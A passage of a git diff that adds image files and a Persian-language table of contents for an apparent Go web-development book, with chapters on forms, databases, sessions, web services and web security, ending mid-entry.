/dev/null and b/fa/images/4.1.login.png~update the structure for gitbook differ diff --git a/fa/images/4.1.slice.png b/fa/images/4.1.slice.png new file mode 100644 index 000000000..3405c147d Binary files /dev/null and b/fa/images/4.1.slice.png differ diff --git a/fa/images/4.1.slice.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/4.1.slice.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..3405c147d Binary files /dev/null and b/fa/images/4.1.slice.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/4.1.slice.png~update the structure for gitbook b/fa/images/4.1.slice.png~update the structure for gitbook new file mode 100644 index 000000000..3405c147d Binary files /dev/null and b/fa/images/4.1.slice.png~update the structure for gitbook differ diff --git a/fa/images/4.3.escape.png b/fa/images/4.3.escape.png new file mode 100644 index 000000000..76ce12458 Binary files /dev/null and b/fa/images/4.3.escape.png differ diff --git a/fa/images/4.3.escape.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/4.3.escape.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..76ce12458 Binary files /dev/null and b/fa/images/4.3.escape.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/4.3.escape.png~update the structure for gitbook b/fa/images/4.3.escape.png~update the structure for gitbook new file mode 100644 index 000000000..76ce12458 Binary files /dev/null and b/fa/images/4.3.escape.png~update the structure for gitbook differ diff --git a/fa/images/4.4.token.png b/fa/images/4.4.token.png new file mode 100644 index 000000000..b52cc1d1f Binary files /dev/null and b/fa/images/4.4.token.png differ diff --git a/fa/images/4.4.token.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/4.4.token.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..b52cc1d1f Binary files /dev/null and b/fa/images/4.4.token.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/4.4.token.png~update the structure for gitbook b/fa/images/4.4.token.png~update the structure for gitbook new file mode 100644 index 000000000..b52cc1d1f Binary files /dev/null and b/fa/images/4.4.token.png~update the structure for gitbook differ diff --git a/fa/images/4.5.upload.png b/fa/images/4.5.upload.png new file mode 100644 index 000000000..e5766e385 Binary files /dev/null and b/fa/images/4.5.upload.png differ diff --git a/fa/images/4.5.upload.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/4.5.upload.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..e5766e385 Binary files /dev/null and b/fa/images/4.5.upload.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/4.5.upload.png~update the structure for gitbook b/fa/images/4.5.upload.png~update the structure for gitbook new file mode 100644 index 000000000..e5766e385 Binary files /dev/null and b/fa/images/4.5.upload.png~update the structure for gitbook differ diff --git a/fa/images/4.5.upload2.png b/fa/images/4.5.upload2.png new file mode 100644 index 000000000..064604469 Binary files /dev/null and b/fa/images/4.5.upload2.png differ diff --git a/fa/images/4.5.upload2.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/4.5.upload2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..064604469 Binary files /dev/null and b/fa/images/4.5.upload2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/4.5.upload2.png~update the structure for gitbook b/fa/images/4.5.upload2.png~update the structure for gitbook new file mode 100644 index 000000000..064604469 Binary files /dev/null and b/fa/images/4.5.upload2.png~update the structure for gitbook differ diff --git a/fa/images/5.6.mongodb.png b/fa/images/5.6.mongodb.png new file mode 100644 index 000000000..6161fbe56 Binary files /dev/null and b/fa/images/5.6.mongodb.png differ diff --git a/fa/images/5.6.mongodb.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/5.6.mongodb.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..6161fbe56 Binary files /dev/null and b/fa/images/5.6.mongodb.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/5.6.mongodb.png~update the structure for gitbook b/fa/images/5.6.mongodb.png~update the structure for gitbook new file mode 100644 index 000000000..6161fbe56 Binary files /dev/null and b/fa/images/5.6.mongodb.png~update the structure for gitbook differ diff --git a/fa/images/6.1.cookie.png b/fa/images/6.1.cookie.png new file mode 100644 index 000000000..b94559cf5 Binary files /dev/null and b/fa/images/6.1.cookie.png differ diff --git a/fa/images/6.1.cookie.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/6.1.cookie.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..b94559cf5 Binary files /dev/null and b/fa/images/6.1.cookie.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/6.1.cookie.png~update the structure for gitbook b/fa/images/6.1.cookie.png~update the structure for gitbook new file mode 100644 index 000000000..b94559cf5 Binary files /dev/null and b/fa/images/6.1.cookie.png~update the structure for gitbook differ diff --git a/fa/images/6.1.cookie2.png b/fa/images/6.1.cookie2.png new file mode 100644 index 000000000..8363a819e Binary files /dev/null and b/fa/images/6.1.cookie2.png differ diff --git a/fa/images/6.1.cookie2.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/6.1.cookie2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..2888e3927 Binary files /dev/null and b/fa/images/6.1.cookie2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/6.1.cookie2.png~update the structure for gitbook b/fa/images/6.1.cookie2.png~update the structure for gitbook new file mode 100644 index 000000000..2888e3927 Binary files /dev/null and b/fa/images/6.1.cookie2.png~update the structure for gitbook differ diff --git a/fa/images/6.1.session.png b/fa/images/6.1.session.png new file mode 100644 index 000000000..a402af494 Binary files /dev/null and b/fa/images/6.1.session.png differ diff --git a/fa/images/6.1.session.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/6.1.session.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..f538b8f5b Binary files /dev/null and b/fa/images/6.1.session.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/6.1.session.png~update the structure for gitbook b/fa/images/6.1.session.png~update the structure for gitbook new file mode 100644 index 000000000..f538b8f5b Binary files /dev/null and b/fa/images/6.1.session.png~update the structure for gitbook differ diff --git a/fa/images/6.4.cookie.png b/fa/images/6.4.cookie.png new file mode 100644 index 000000000..0dad93f17 Binary files /dev/null and b/fa/images/6.4.cookie.png differ diff --git a/fa/images/6.4.cookie.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/6.4.cookie.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..0dad93f17 Binary files /dev/null and b/fa/images/6.4.cookie.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/6.4.cookie.png~update the structure for gitbook b/fa/images/6.4.cookie.png~update the structure for gitbook new file mode 100644 index 000000000..0dad93f17 Binary files /dev/null and b/fa/images/6.4.cookie.png~update the structure for gitbook differ diff --git a/fa/images/6.4.hijack.png b/fa/images/6.4.hijack.png new file mode 100644 index 000000000..5ab0753f0 Binary files /dev/null and b/fa/images/6.4.hijack.png differ diff --git a/fa/images/6.4.hijack.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/6.4.hijack.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..5ab0753f0 Binary files /dev/null and b/fa/images/6.4.hijack.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/6.4.hijack.png~update the structure for gitbook b/fa/images/6.4.hijack.png~update the structure for gitbook new file mode 100644 index 000000000..5ab0753f0 Binary files /dev/null and b/fa/images/6.4.hijack.png~update the structure for gitbook differ diff --git a/fa/images/6.4.hijacksuccess.png b/fa/images/6.4.hijacksuccess.png new file mode 100644 index 000000000..57f48d41f Binary files /dev/null and b/fa/images/6.4.hijacksuccess.png differ diff --git a/fa/images/6.4.hijacksuccess.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/6.4.hijacksuccess.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..57f48d41f Binary files /dev/null and b/fa/images/6.4.hijacksuccess.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/6.4.hijacksuccess.png~update the structure for gitbook b/fa/images/6.4.hijacksuccess.png~update the structure for gitbook new file mode 100644 index 000000000..57f48d41f Binary files /dev/null and b/fa/images/6.4.hijacksuccess.png~update the structure for gitbook differ diff --git a/fa/images/6.4.setcookie.png b/fa/images/6.4.setcookie.png new file mode 100644 index 000000000..dbb52170c Binary files /dev/null and b/fa/images/6.4.setcookie.png differ diff --git a/fa/images/6.4.setcookie.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/6.4.setcookie.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..dbb52170c Binary files /dev/null and b/fa/images/6.4.setcookie.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/6.4.setcookie.png~update the structure for gitbook b/fa/images/6.4.setcookie.png~update the structure for gitbook new file mode 100644 index 000000000..dbb52170c Binary files /dev/null and b/fa/images/6.4.setcookie.png~update the structure for gitbook differ diff --git a/fa/images/7.4.template.png b/fa/images/7.4.template.png new file mode 100644 index 000000000..195e24fb1 Binary files /dev/null and b/fa/images/7.4.template.png differ diff --git a/fa/images/7.4.template.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/7.4.template.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..195e24fb1 Binary files /dev/null and b/fa/images/7.4.template.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/7.4.template.png~update the structure for gitbook b/fa/images/7.4.template.png~update the structure for gitbook new file mode 100644 index 000000000..195e24fb1 Binary files /dev/null and b/fa/images/7.4.template.png~update the structure for gitbook differ diff --git a/fa/images/8.1.socket.png b/fa/images/8.1.socket.png new file mode 100644 index 000000000..93dd544d6 Binary files /dev/null and b/fa/images/8.1.socket.png differ diff --git a/fa/images/8.1.socket.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.1.socket.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..93dd544d6 Binary files /dev/null and b/fa/images/8.1.socket.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.1.socket.png~update the structure for gitbook b/fa/images/8.1.socket.png~update the structure for gitbook new file mode 100644 index 000000000..93dd544d6 Binary files /dev/null and b/fa/images/8.1.socket.png~update the structure for gitbook differ diff --git a/fa/images/8.2.websocket.png b/fa/images/8.2.websocket.png new file mode 100644 index 000000000..b293c6536 Binary files /dev/null and b/fa/images/8.2.websocket.png differ diff --git a/fa/images/8.2.websocket.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.2.websocket.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..b293c6536 Binary files /dev/null and b/fa/images/8.2.websocket.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.2.websocket.png~update the structure for gitbook b/fa/images/8.2.websocket.png~update the structure for gitbook new file mode 100644 index 000000000..b293c6536 Binary files /dev/null and b/fa/images/8.2.websocket.png~update the structure for gitbook differ diff --git a/fa/images/8.2.websocket2.png b/fa/images/8.2.websocket2.png new file mode 100644 index 000000000..b744c634e Binary files /dev/null and b/fa/images/8.2.websocket2.png differ diff --git a/fa/images/8.2.websocket2.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.2.websocket2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..b744c634e Binary files /dev/null and b/fa/images/8.2.websocket2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.2.websocket2.png~update the structure for gitbook b/fa/images/8.2.websocket2.png~update the structure for gitbook new file mode 100644 index 000000000..b744c634e Binary files /dev/null and b/fa/images/8.2.websocket2.png~update the structure for gitbook differ diff --git a/fa/images/8.2.websocket3.png b/fa/images/8.2.websocket3.png new file mode 100644 index 000000000..ee769c164 Binary files /dev/null and b/fa/images/8.2.websocket3.png differ diff --git a/fa/images/8.2.websocket3.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.2.websocket3.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..ee769c164 Binary files /dev/null and b/fa/images/8.2.websocket3.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.2.websocket3.png~update the structure for gitbook b/fa/images/8.2.websocket3.png~update the structure for gitbook new file mode 100644 index 000000000..ee769c164 Binary files /dev/null and b/fa/images/8.2.websocket3.png~update the structure for gitbook differ diff --git a/fa/images/8.3.rest.png b/fa/images/8.3.rest.png new file mode 100644 index 000000000..0c1e5b541 Binary files /dev/null and b/fa/images/8.3.rest.png differ diff --git a/fa/images/8.3.rest.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.3.rest.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..0c1e5b541 Binary files /dev/null and b/fa/images/8.3.rest.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.3.rest.png~update the structure for gitbook b/fa/images/8.3.rest.png~update the structure for gitbook new file mode 100644 index 000000000..0c1e5b541 Binary files /dev/null and b/fa/images/8.3.rest.png~update the structure for gitbook differ diff --git a/fa/images/8.3.rest2.png b/fa/images/8.3.rest2.png new file mode 100644 index 000000000..b43c08044 Binary files /dev/null and b/fa/images/8.3.rest2.png differ diff --git a/fa/images/8.3.rest2.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.3.rest2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..b43c08044 Binary files /dev/null and b/fa/images/8.3.rest2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.3.rest2.png~update the structure for gitbook b/fa/images/8.3.rest2.png~update the structure for gitbook new file mode 100644 index 000000000..b43c08044 Binary files /dev/null and b/fa/images/8.3.rest2.png~update the structure for gitbook differ diff --git a/fa/images/8.3.rest3.png b/fa/images/8.3.rest3.png new file mode 100644 index 000000000..1f62b5057 Binary files /dev/null and b/fa/images/8.3.rest3.png differ diff --git a/fa/images/8.3.rest3.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.3.rest3.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..1f62b5057 Binary files /dev/null and b/fa/images/8.3.rest3.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.3.rest3.png~update the structure for gitbook b/fa/images/8.3.rest3.png~update the structure for gitbook new file mode 100644 index 000000000..1f62b5057 Binary files /dev/null and b/fa/images/8.3.rest3.png~update the structure for gitbook differ diff --git a/fa/images/8.4.rpc.png b/fa/images/8.4.rpc.png new file mode 100644 index 000000000..0b3fcfe2a Binary files /dev/null and b/fa/images/8.4.rpc.png differ diff --git a/fa/images/8.4.rpc.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/8.4.rpc.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..0b3fcfe2a Binary files /dev/null and b/fa/images/8.4.rpc.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/8.4.rpc.png~update the structure for gitbook b/fa/images/8.4.rpc.png~update the structure for gitbook new file mode 100644 index 000000000..0b3fcfe2a Binary files /dev/null and b/fa/images/8.4.rpc.png~update the structure for gitbook differ diff --git a/fa/images/9.1.csrf.png b/fa/images/9.1.csrf.png new file mode 100644 index 000000000..54d3a4349 Binary files /dev/null and b/fa/images/9.1.csrf.png differ diff --git a/fa/images/9.1.csrf.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/9.1.csrf.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..54d3a4349 Binary files /dev/null and b/fa/images/9.1.csrf.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/9.1.csrf.png~update the structure for gitbook b/fa/images/9.1.csrf.png~update the structure for gitbook new file mode 100644 index 000000000..54d3a4349 Binary files /dev/null and b/fa/images/9.1.csrf.png~update the structure for gitbook differ diff --git a/fa/images/alipay.png b/fa/images/alipay.png new file mode 100644 index 000000000..2bac3531d Binary files /dev/null and b/fa/images/alipay.png differ diff --git a/fa/images/cover.png b/fa/images/cover.png new file mode 100644 index 000000000..22bfab449 Binary files /dev/null and b/fa/images/cover.png differ diff --git a/fa/images/cover.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/cover.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..22bfab449 Binary files /dev/null and b/fa/images/cover.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/cover.png~update the structure for gitbook b/fa/images/cover.png~update the structure for gitbook new file mode 100644 index 000000000..22bfab449 Binary files /dev/null and b/fa/images/cover.png~update the structure for gitbook differ diff --git a/fa/images/ebook.jpg b/fa/images/ebook.jpg new file mode 100644 index 000000000..b2f3710db Binary files /dev/null and b/fa/images/ebook.jpg differ diff --git a/fa/images/ebook.jpg~380a8ee74c41759d8189ad553423467994187253 b/fa/images/ebook.jpg~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..b2f3710db Binary files /dev/null and b/fa/images/ebook.jpg~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/ebook.jpg~update the structure for gitbook b/fa/images/ebook.jpg~update the structure for gitbook new file mode 100644 index 000000000..b2f3710db Binary files /dev/null and b/fa/images/ebook.jpg~update the structure for gitbook differ diff --git a/fa/images/navi1.png b/fa/images/navi1.png new file mode 100644 index 000000000..92a7669e7 Binary files /dev/null and b/fa/images/navi1.png differ diff --git a/fa/images/navi1.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi1.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..92a7669e7 Binary files /dev/null and b/fa/images/navi1.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi1.png~update the structure for gitbook b/fa/images/navi1.png~update the structure for gitbook new file mode 100644 index 000000000..92a7669e7 Binary files /dev/null and b/fa/images/navi1.png~update the structure for gitbook differ diff --git a/fa/images/navi10.png b/fa/images/navi10.png new file mode 100644 index 000000000..94935e27a Binary files /dev/null and b/fa/images/navi10.png differ diff --git a/fa/images/navi10.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi10.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..94935e27a Binary files /dev/null and b/fa/images/navi10.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi10.png~update the structure for gitbook b/fa/images/navi10.png~update the structure for gitbook new file mode 100644 index 000000000..94935e27a Binary files /dev/null and b/fa/images/navi10.png~update the structure for gitbook differ diff --git a/fa/images/navi11.png b/fa/images/navi11.png new file mode 100644 index 000000000..8eb93cb1f Binary files /dev/null and b/fa/images/navi11.png differ diff --git a/fa/images/navi11.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi11.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..8eb93cb1f Binary files /dev/null and b/fa/images/navi11.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi11.png~update the structure for gitbook b/fa/images/navi11.png~update the structure for gitbook new file mode 100644 index 000000000..8eb93cb1f Binary files /dev/null and b/fa/images/navi11.png~update the structure for gitbook differ diff --git a/fa/images/navi12.png b/fa/images/navi12.png new file mode 100644 index 000000000..5bdbadfa7 Binary files /dev/null and b/fa/images/navi12.png differ diff --git a/fa/images/navi12.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi12.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..5bdbadfa7 Binary files /dev/null and b/fa/images/navi12.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi12.png~update the structure for gitbook b/fa/images/navi12.png~update the structure for gitbook new file mode 100644 index 000000000..5bdbadfa7 Binary files /dev/null and b/fa/images/navi12.png~update the structure for gitbook differ diff --git a/fa/images/navi13.png b/fa/images/navi13.png new file mode 100644 index 000000000..c797033b1 Binary files /dev/null and b/fa/images/navi13.png differ diff --git a/fa/images/navi13.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi13.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..c797033b1 Binary files /dev/null and b/fa/images/navi13.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi13.png~update the structure for gitbook b/fa/images/navi13.png~update the structure for gitbook new file mode 100644 index 000000000..c797033b1 Binary files /dev/null and b/fa/images/navi13.png~update the structure for gitbook differ diff --git a/fa/images/navi14.png b/fa/images/navi14.png new file mode 100644 index 000000000..3d9d38cc5 Binary files /dev/null and b/fa/images/navi14.png differ diff --git a/fa/images/navi14.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi14.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..3d9d38cc5 Binary files /dev/null and b/fa/images/navi14.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi14.png~update the structure for gitbook b/fa/images/navi14.png~update the structure for gitbook new file mode 100644 index 000000000..3d9d38cc5 Binary files /dev/null and b/fa/images/navi14.png~update the structure for gitbook differ diff --git a/fa/images/navi2.png b/fa/images/navi2.png new file mode 100644 index 000000000..d18526ac5 Binary files /dev/null and b/fa/images/navi2.png differ diff --git a/fa/images/navi2.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..d18526ac5 Binary files /dev/null and b/fa/images/navi2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi2.png~update the structure for gitbook b/fa/images/navi2.png~update the structure for gitbook new file mode 100644 index 000000000..d18526ac5 Binary files /dev/null and b/fa/images/navi2.png~update the structure for gitbook differ diff --git a/fa/images/navi3.png b/fa/images/navi3.png new file mode 100644 index 000000000..23495893d Binary files /dev/null and b/fa/images/navi3.png differ diff --git a/fa/images/navi3.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi3.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..23495893d Binary files /dev/null and b/fa/images/navi3.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi3.png~update the structure for gitbook b/fa/images/navi3.png~update the structure for gitbook new file mode 100644 index 000000000..23495893d Binary files /dev/null and b/fa/images/navi3.png~update the structure for gitbook differ diff --git a/fa/images/navi4.png b/fa/images/navi4.png new file mode 100644 index 000000000..1b4df73a5 Binary files /dev/null and b/fa/images/navi4.png differ diff --git a/fa/images/navi4.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi4.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..1b4df73a5 Binary files /dev/null and b/fa/images/navi4.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi4.png~update the structure for gitbook b/fa/images/navi4.png~update the structure for gitbook new file mode 100644 index 000000000..1b4df73a5 Binary files /dev/null and b/fa/images/navi4.png~update the structure for gitbook differ diff --git a/fa/images/navi5.png b/fa/images/navi5.png new file mode 100644 index 000000000..55788152c Binary files /dev/null and b/fa/images/navi5.png differ diff --git a/fa/images/navi5.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi5.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..55788152c Binary files /dev/null and b/fa/images/navi5.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi5.png~update the structure for gitbook b/fa/images/navi5.png~update the structure for gitbook new file mode 100644 index 000000000..55788152c Binary files /dev/null and b/fa/images/navi5.png~update the structure for gitbook differ diff --git a/fa/images/navi6.png b/fa/images/navi6.png new file mode 100644 index 000000000..74cab8172 Binary files /dev/null and b/fa/images/navi6.png differ diff --git a/fa/images/navi6.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi6.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..74cab8172 Binary files /dev/null and b/fa/images/navi6.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi6.png~update the structure for gitbook b/fa/images/navi6.png~update the structure for gitbook new file mode 100644 index 000000000..74cab8172 Binary files /dev/null and b/fa/images/navi6.png~update the structure for gitbook differ diff --git a/fa/images/navi7.png b/fa/images/navi7.png new file mode 100644 index 000000000..2e1c974e7 Binary files /dev/null and b/fa/images/navi7.png differ diff --git a/fa/images/navi7.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi7.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..2e1c974e7 Binary files /dev/null and b/fa/images/navi7.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi7.png~update the structure for gitbook b/fa/images/navi7.png~update the structure for gitbook new file mode 100644 index 000000000..2e1c974e7 Binary files /dev/null and b/fa/images/navi7.png~update the structure for gitbook differ diff --git a/fa/images/navi8.png b/fa/images/navi8.png new file mode 100644 index 000000000..7a52d84ea Binary files /dev/null and b/fa/images/navi8.png differ diff --git a/fa/images/navi8.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi8.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..7a52d84ea Binary files /dev/null and b/fa/images/navi8.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi8.png~update the structure for gitbook b/fa/images/navi8.png~update the structure for gitbook new file mode 100644 index 000000000..7a52d84ea Binary files /dev/null and b/fa/images/navi8.png~update the structure for gitbook differ diff --git a/fa/images/navi9.png b/fa/images/navi9.png new file mode 100644 index 000000000..7692e1137 Binary files /dev/null and b/fa/images/navi9.png differ diff --git a/fa/images/navi9.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/navi9.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..7692e1137 Binary files /dev/null and b/fa/images/navi9.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/navi9.png~update the structure for gitbook b/fa/images/navi9.png~update the structure for gitbook new file mode 100644 index 000000000..7692e1137 Binary files /dev/null and b/fa/images/navi9.png~update the structure for gitbook differ diff --git a/fa/images/polling.png b/fa/images/polling.png new file mode 100644 index 000000000..8bd128ec7 Binary files /dev/null and b/fa/images/polling.png differ diff --git a/fa/images/polling.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/polling.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..8bd128ec7 Binary files /dev/null and b/fa/images/polling.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/polling.png~update the structure for gitbook b/fa/images/polling.png~update the structure for gitbook new file mode 100644 index 000000000..8bd128ec7 Binary files /dev/null and b/fa/images/polling.png~update the structure for gitbook differ diff --git a/fa/preface.md b/fa/preface.md new file mode 100644 index 000000000..e604fbc96 --- /dev/null +++ b/fa/preface.md @@ -0,0 +1,100 @@ +
+ +- 1.[پیکربندی محیط Go](01.0.md) + - 1.1. [نصب](01.1.md) + - 1.2. [تنظیم $GOPATH و فضای کاری](01.2.md) + - 1.3. [دستورات Go](01.3.md) + - 1.4. [ابزارهای توسعه ی Go](01.4.md) + - 1.5. [خلاصه](01.5.md) +- 2.[دانش اولیه از Go](02.0.md) + - 2.1. ["سلام، Go"](02.1.md) + - 2.2. [دستورات پایه ای در Go](02.2.md) + - 2.3. [عبارات کنترلی و توابع](02.3.md) + - 2.4. [ساختار یا struct](02.4.md) + - 2.5. [شیء گرایی](02.5.md) + - 2.6. [اینترفیس](02.6.md) + - 2.7. [برنامه نویسی همروند](02.7.md) + - 2.8. [خلاصه](02.8.md) +- 3.[پایه و اساس وب](03.0.md) + - 3.1. [اصول کار در وب](03.1.md) + - 3.2. [ایجاد یک وب سرور ساده](03.2.md) + - 3.3. [چگونگی کارکرد Go در وب](03.3.md) + - 3.4. [آشنایی با پکیج های http در Go](03.4.md) + - 3.5. [خلاصه](03.5.md) +- 4.[فرم اطلاعات کاربر](04.0.md) + - 4.1. [پردازش ورودی ها](04.1.md) + - 4.2. [بررسی و تایید ورودی ها](04.2.md) + - 4.3. [تزریق اسکریپت از طریق وبگاه](04.3.md) + - 4.4. [اطلاعات تکراری](04.4.md) + - 4.5. [آپلود فایل](04.5.md) + - 4.6. [خلاصه](04.6.md) +- 5.[پایگاه داده](05.0.md) + - 5.1. [اینترفیس database/sql](05.1.md) + - 5.2. [MySQL](05.2.md) + - 5.3. [SQLite](05.3.md) + - 5.4. [PostgreSQL](05.4.md) + - 5.5. [نحوه کار با ORM با استفاده از beedb](05.5.md) + - 5.6. [پایگاه داده NoSQL](05.6.md) + - 5.7. [خلاصه](05.7.md) +- 6.[ذخیره داده و نشست](06.0.md) + - 6.1. [نشست و کوکی ها](06.1.md) + - 6.2. [نحوه استفاده از نشست در Go](06.2.md) + - 6.3. [ذخیره نشست](06.3.md) + - 6.4. [جلوگیری از سرقت نشست](06.4.md) + - 6.5. [خلاصه](06.5.md) +- 7.[فایل های متنی](07.0.md) + - 7.1. [XML](07.1.md) + - 7.2. [JSON](07.2.md) + - 7.3. [Regexp](07.3.md) + - 7.4. [استفاده از تمپلیت در Go](07.4.md) + - 7.5. [فایل ها](07.5.md) + - 7.6. [رشته ها](07.6.md) + - 7.7. [خلاصه](07.7.md) +- 8.[سرویس های وب](08.0.md) + - 8.1. [سوکت](08.1.md) + - 8.2. [وب سوکت](08.2.md) + - 8.3. [REST](08.3.md) + - 8.4. [RPC](08.4.md) + - 8.5. [خلاصه](08.5.md) +- 9.[امنیت و رمزنگاری](09.0.md) + - 9.1. [حملات CSRF](09.1.md) + - 9.2. [فیلتر کردن ورودی ها](09.2.md) + - 9.3. [حملات XSS](09.3.md) + - 9.4. [تزریق SQL](09.4.md) + - 9.5. [ذخیره رمز 